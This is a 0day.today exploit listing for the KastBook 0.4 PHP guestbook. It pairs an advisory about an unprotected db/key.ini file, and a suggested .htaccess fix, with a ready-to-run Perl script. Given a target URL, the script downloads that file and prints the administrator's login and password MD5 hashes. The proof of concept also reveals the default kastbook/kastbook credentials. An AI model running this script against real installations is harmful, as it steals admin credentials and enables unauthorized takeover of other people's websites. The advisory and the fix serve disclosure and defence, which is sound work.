Lucene search

K
zdtXartrick1337DAY-ID-15689
HistoryMar 25, 2011 - 12:00 a.m.

KastBook 0.4 Exploit

2011-03-2500:00:00
Xartrick
0day.today
38

Exploit for php platform in category web applications

    _/      _/                        _/                _/            _/   
     _/  _/      _/_/_/  _/  _/_/  _/_/_/_/  _/  _/_/        _/_/_/  _/  _/
      _/      _/    _/  _/_/        _/      _/_/      _/  _/        _/_/   
   _/  _/    _/    _/  _/          _/      _/        _/  _/        _/  _/  
_/      _/    _/_/_/  _/            _/_/  _/        _/    _/_/_/  _/    _/ 

┌────────────────────────────────────────────────────────────────────────┐
│       E    u   r   o   p   a       S   e   c   u   r   i   t   y       │
|   ┌────────────────────────────────────────────────────────────────┐   |
:  :│               ─── KastBook 0.4 Vulnerability ───               │:  :
┌∙∙┘└────────────────────────────────────────────────────────────────┘└∙∙┐
│ Overview                                                               │
├────────────────────────────────────────────────────────────────────────┤
│	KastBook is prone to Hash Stealing.                                  │
├────────────────────────────────────────────────────────────────────────┤
│ Technical Description                                                  │
├────────────────────────────────────────────────────────────────────────┤
│	KastBook is prone to Hash Stealing.                                  │
│	The application failed to protect his configurations files.          │
│	                                                                     │
│	'key.ini' in 'db' directory contains hashed login and password.      │
│	                                                                     │
│	The exploit has been tested on KastBook 0.4.                         │
├────────────────────────────────────────────────────────────────────────┤
│ Impact                                                                 │
├────────────────────────────────────────────────────────────────────────┤
│	Successful exploitation allows an attacker to get administrator's    │
│	login and password and allows to edit the software.                  │
├────────────────────────────────────────────────────────────────────────┤
│ Affected Software                                                      │
├────────────────────────────────────────────────────────────────────────┤
│	- KastBook 0.4.                                                      │
│	- Maybe others.                                                      │
├────────────────────────────────────────────────────────────────────────┤
│ Proof of Concepts                                                      │
├────────────────────────────────────────────────────────────────────────┤
│	'./db/key.ini'                                                       │
│	'retour_ini_log=bdbeb65f1a43a6fac4d99219a91693c3'                    │
│	'retour_ini_mdp=bdbeb65f1a43a6fac4d99219a91693c3'                    │
│	                                                                     │
│	'bdbeb65f1a43a6fac4d99219a91693c3' = MD5('kastbook')                 │
│	                                                                     │
│	Login: kastbook                                                      │
│	Password: kastbook                                                   │
├────────────────────────────────────────────────────────────────────────┤
│ Solution                                                               │
├────────────────────────────────────────────────────────────────────────┤
│	- Protect 'db' directory with .htaccess.                             │
│	- Protect 'key.ini' file with .htaccess.                             │
├────────────────────────────────────────────────────────────────────────┤
│ Security Searcher                                                      │
├────────────────────────────────────────────────────────────────────────┤
│	Name: Xartrick                                                       │
│	Home: http://www.europasecurity.org/                                 │
├────────────────────────────────────────────────────────────────────────┤
│ Thanks                                                                 │
├────────────────────────────────────────────────────────────────────────┤
│	- EuropA|SecuriTy                                                    │
│	- Sh0ck                                                              │
│	- Real French Scene                                                  │
│	- NFO: avw                                                           │
├────────────────────────────────────────────────────────────────────────┤
│ References                                                             │
├────────────────────────────────────────────────────────────────────────┤
│	http://www.europasecurity.org/                                       │
└────────────────────────────────────────────────────────────────────────┘

EXPLOiT:

#!/usr/bin/perl

use HTTP::Request::Common;
use LWP::UserAgent;

print("\n" . ' ----- KastBook 0.4 Exploit -----' . "\n");
print(' Vulnerability found by: Xartrick' . "\n");
print(' Exploit codded by:      Xartrick' . "\n");
print(' --------------------------------' . "\n");
print(' europasecurity.org              ' . "\n");
print(' Xartrick                        ' . "\n");
print(' ----- KastBook 0.4 Exploit -----' . "\n\n");


if($ARGV[0] eq "")
{
	print(" [?] USAGE: \texploit.pl [URL]" . "\n");
	print(" [?] EXAMPLE: \texploit.pl http://127.0.0.1/kastbook/" . "\n");
	exit;
}

my $URL   = '';
my $input = $ARGV[0];

if(substr($input, -1, 1) eq '/')
{
	$URL = $input . 'db/key.ini';
}
else
{
	$URL = $input . '/db/key.ini';
}

my $useragent = LWP::UserAgent -> new;
my $request   = $useragent -> get($URL);

if ($request -> is_success)
{
	print(" [~] Request: \tOK" . "\n");
	
	my $result = $request -> content;
	
	if(($result =~ m/&retour_ini_log=/) and ($result =~ m/&retour_ini_mdp=/))
	{
		@Hash = split(/&/, $result);
		
		$Hash = @Hash;
		$Hash[0] = substr($Hash[1], 15, 32);
		$Hash[1] = substr($Hash[2], 15, 32);
		
		if($Hash[0] ne "")
		{
			print(" [+] Login: \t" . $Hash[0] . " (MD5)\n");
		}
		else
		{
			print(' [-] Can\'t get login !' . "\n");
		}
		
		if($Hash[1] ne "")
		{
			print(" [+] Password: \t" . $Hash[1] . " (MD5)\n");
		}
		else
		{
			print(' [-] Can\'t get password !' . "\n");
		}
	}
	else
	{
		print(' [-] Can\'t find corrects values ...' . "\n");
	}
}
else
{
	print(" [-] Request: \tError ..." . "\n");
}

∙∙───────────────────────



#  0day.today [2018-01-09]  #